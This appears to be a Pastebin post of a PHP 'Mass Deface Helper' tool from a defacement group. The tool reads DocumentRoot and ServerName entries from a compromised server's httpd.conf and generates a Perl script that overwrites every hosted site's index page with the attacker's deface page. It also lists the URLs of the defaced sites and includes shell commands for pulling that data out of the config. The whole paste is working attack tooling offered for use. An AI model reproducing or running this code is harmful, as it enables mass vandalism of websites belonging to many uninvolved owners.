Advertisement
KiLL3r-Dz

Mass Deface Helper (httpd.conf Version)

Oct 20th, 2012
395
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.03 KB | None | 0 0
  1. <?
  2. # Mass Deface Helper (httpd.conf Version)
  3. # Coded by  by Th3 K!LL3r Dz
  4. # copyright to sec4ever.com
  5. # special Greet'z to : n4ssim , Damane2011
  6. # Greet'z to : all sec4ver members
  7. echo "<html>
  8. <head>
  9. <title>#@!~  Mass Deface Helper (httpd.conf Version)</title>
  10. <style>
  11. body {
  12. BACKGROUND-COLOR: #2D3505
  13. }
  14.  
  15.  
  16. textarea {
  17. BACKGROUND-COLOR: #697430;
  18. COLOR: #FFFFFF;
  19. BORDER: #E3FF50 1px solid;
  20.  
  21. }
  22. input {
  23. BORDER:  #E3FF50 1px solid;
  24. BACKGROUND-COLOR: #697430;
  25. COLOR: #FFFFFF;
  26. font: 8pt Tahoma;
  27.  
  28.  
  29. </style>
  30. </head>
  31. <br />";
  32. echo "<span style=\"color:red; font: 13px Tahoma; font-weight:bold;\"> Mass Deface Helper ( httpd.conf Version ) </span><br/><br/>";
  33. echo "<form method=POST>
  34.  
  35. <tr><td>
  36. <font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'> index name : </font>
  37. <input type=text name=index value=index.htm>
  38. <table width=\"40%\" border=\"0\">
  39. <tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;' >Dirs From (httpd.conf /DocumentRoot) : </font>
  40. </td><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;' >Sites From (httpd.conf /ServerName) : </font>
  41. <tr><td>
  42. <input type=text name=dirs size=\"60\">
  43. </td><td>
  44. <input type=text name=sites size=\"60\"></td><td>
  45. <tr><td><input type=submit value='Create' name=go><br/><br/></td><td></table>
  46. ";
  47.  
  48. if($_POST['go']){
  49. echo "<b><hr></b>";
  50. $start = $_POST['start'];
  51. $end = $_POST['end'];
  52. $index = $_POST['index'];
  53. $dirs =explode("\n",@dz1(file_get_contents($_POST['dirs'])));
  54. $sites =explode("\n",@dz2(file_get_contents($_POST['sites'])));
  55. if($_POST['dirs']){
  56.  
  57.  
  58.     $perl = fopen ('mass.txt','w+') or die ("Can't Open A New File :$");
  59.     $perl_start = "#!/usr/bin/perl";
  60.     $perl_end = "print\"./MasseD By Th3 K!LL3r Dz # Relizane Hacker'Z\";";
  61.     fwrite ($perl,$perl_start."\n\n"); // Write !!
  62.  
  63. foreach($dirs as $dir){
  64.  
  65. $result = "system(\"cat ".$index.">".$start.@killer($dir).$end."/".$index."\");";
  66. fwrite ($perl, $result."\n"); // Write !!
  67. flush();
  68. }  
  69.     echo "<tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'>Done With Success <a style='text-decoration: none;color:red;' href='mass.txt'>mass.txt</a></font></td><td><br>"; // hehe it's done
  70.     fwrite ($perl, "\n".$perl_end); // Write !!
  71.     fclose($perl); // Close Done :'(
  72.    
  73.     }
  74.  
  75.  
  76. if($_POST['sites']){
  77.  
  78.  
  79.     $sitess = fopen ('sites.txt','w+') or die ("Can't Open A New File :$");
  80.     $sitess_start = "http://";
  81.     $sitess_end = "/";
  82.     fwrite ($sitess,""); // Write !!
  83.  
  84. foreach($sites as $site){
  85.  
  86.     $result2 = $sitess_start.@killer($site).$sitess_end.$index;
  87.     fwrite ($sitess, $result2."\n"); // Write !!
  88.     flush();
  89. }
  90.     echo "<br /><tr><td><font style='font: 9pt Tahoma; COLOR: #FFFFFF;font-weight:bold;'>Done With Success <a style='text-decoration: none;color:red;' href='sites.txt'>sites.txt</a></font></td><td><br/><br/>"; // hehe it's done
  91.     fwrite ($sitess,""); // Write !!
  92.     fclose($sitess); // Close Done :'(
  93.  
  94. }
  95.   }
  96. function killer($value){  return str_replace(array("\n","\r"),"",$value); }
  97. function dz1($value){  return str_replace(array("    DocumentRoot ","/usr/local/apache/htdocs"),"",$value); }
  98. function dz2($value){  return str_replace(array("    ServerName ","ServerName "),"",$value); }
  99. echo "<br />";
  100. echo "<tr><td><span style=\"color:red; font: 12px Tahoma; font-weight:bold;\"> Some Help : </span></td><td><br/><br/>";
  101. echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> From PuTTy : Run This orders </span></td><td><br/><br/>";
  102. echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> For DocumentRoot : cat /usr/local/apache/conf/httpd.conf | grep DocumentRoot>dir.txt </span></td><td><br/><br/>";
  103. echo "<tr><td><span style=\"color:white; font: 12px Tahoma; font-weight:bold;\"> For ServerName : cat /usr/local/apache/conf/httpd.conf | grep ServerName>dmn.txt </span></td><td><br/><br/>";
  104.  
  105.  
  106.  
  107. echo "<tr><td><span style=\"color:red; font: 12px Tahoma; font-weight:bold;\"> Coded By Th3 K!LL3r Dz &copy; Sec4Ever.com </span></td><td><br/><br/>";
  108. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement